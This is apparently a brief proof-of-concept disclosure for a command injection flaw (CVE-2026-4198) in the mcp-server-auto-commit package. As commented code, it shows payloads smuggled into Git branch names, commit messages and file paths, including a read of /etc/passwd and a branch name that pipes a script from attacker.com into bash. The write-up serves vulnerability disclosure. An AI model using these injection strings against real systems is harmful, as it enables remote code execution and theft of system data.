CVE-2026-4198 mcp-server-auto-commit命令注入漏洞

// CVE-2026-4198 PoC - Command Injection in mcp-server-auto-commit // Target: hypermodel-labs/mcp-server-auto-commit v1.0.0 // Attack Vector: Malicious Git branch/commit message injection // Example 1: Malicious branch name injection const maliciousBranch = 'test;$(whoami)>pwned.txt;#'; // When processed by getGitChanges(), executes: git branch test;$(whoami)>pwned.txt;# // Example 2: Backtick command substitution const maliciousCommit = 'Initial commit`whoami`test'; // Executes: git commit -m "Initial commit`whoami`test" // Example 3: Pipe chain execution const maliciousPath = 'file.txt|cat /etc/passwd'; // Executes: git diff file.txt|cat /etc/passwd // Exploitation scenario: // 1. Attacker clones a repository // 2. Creates a branch with malicious name: git checkout -b "test;$(curl http://attacker.com/shell.sh|bash)" // 3. The mcp-server-auto-commit plugin processes this branch name // 4. Command injection occurs when getGitChanges() is called // Recommended verification: // Check if the following returns unexpected output: // node -e "const {getGitChanges} = require('./index.ts'); getGitChanges();"